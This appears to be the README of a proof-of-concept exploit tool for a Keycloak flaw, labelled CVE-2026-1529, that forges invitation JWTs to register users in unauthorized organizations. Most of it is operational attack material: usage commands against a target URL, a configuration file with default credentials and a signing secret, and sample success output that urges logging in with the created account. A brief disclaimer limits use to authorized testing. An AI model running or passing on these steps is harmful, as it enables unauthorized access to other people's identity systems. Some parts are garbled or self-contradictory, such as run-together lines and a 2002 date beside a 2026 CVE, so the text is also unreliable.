
CVE-2026-1529 (PoC) is a critical vulnerability in Keycloak that allows unauthorized organization registration through improper invitation token validation. This exploit tool demonstrates the vulnerability by manipulating JWT tokens to register users in unauthorized organizations.
Keycloak: Unauthorized organization registration via improper invitation token validation
This tool is for educational and security testing purposes only. Use only on systems you have explicit permission to test. Unauthorized access to computer systems is illegal and unethical. The authors of this tool are not responsible for any misuse or damage caused by this software.
Created by: f3ds cr3w est, 2002
CVE-2026-1529 is a critical vulnerability in Keycloak that allows unauthorized organization registration through improper invitation token validation. This exploit tool demonstrates the vulnerability by manipulating JWT tokens to register users in unauthorized organizations.
The vulnerability exists in the JWT token validation process for organization invitations. Attackers can manipulate the org_id and email fields in the JWT payload, allowing them to register users in any organization without proper authorization.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Standard usage with target URL
python keycloak-exploit.py https://target-keycloak.com
# Show help
python keycloak-exploit.py -h
# Show version
python keycloak-exploit.py -v
# Use custom invitation token
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Use custom organization ID
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Use custom configuration file
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Enable debug logging
python keycloak-exploit.py -d https://target-keycloak.com
When the exploit is successful, you'll see output like:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
If the exploit fails, you'll see:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Default configuration
├── utils/
│ ├── jwt_utils.py # JWT manipulation utilities
│ ├── http_utils.py # HTTP client utilities
│ └── crypto_utils.py # Cryptographic utilities
├── output/
│ ├── logs/ # Log files
│ └── reports/ # Exploit reports
The tool uses a default configuration file (config/default_config.json) with the following settings:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
You can create a custom configuration file and use it with the -c option:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
The tool exploits the improper JWT validation by:
org_id field to target a different organizationemail field if neededConnection Errors
Token Validation Errors
org_id, email, invitation_type)Registration Failures
Enable debug logging for detailed troubleshooting:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtThe tool performs the following checks:
The exploit is considered successful if:
This tool is provided for educational and security testing purposes only. Use at your own risk.
Created by: f3ds cr3w est, 2002
Contact: For questions or feedback, please refer to the project repository.
Remember: With great power comes great responsibility. Use this tool wisely and ethically.
by f3ds cr3w est, 2002
| Option | Description | Required |
|---|
target | Target Keycloak URL (IP or domain) | Yes |
-t, --token | Custom invitation token to use | No |
-o, --org-id | Custom organization ID | No |
-c, --config | Path to configuration file | No |
-d, --debug | Enable debug logging | No |
-v, --version | Show version information | No |
-h, --help | Show help message | No |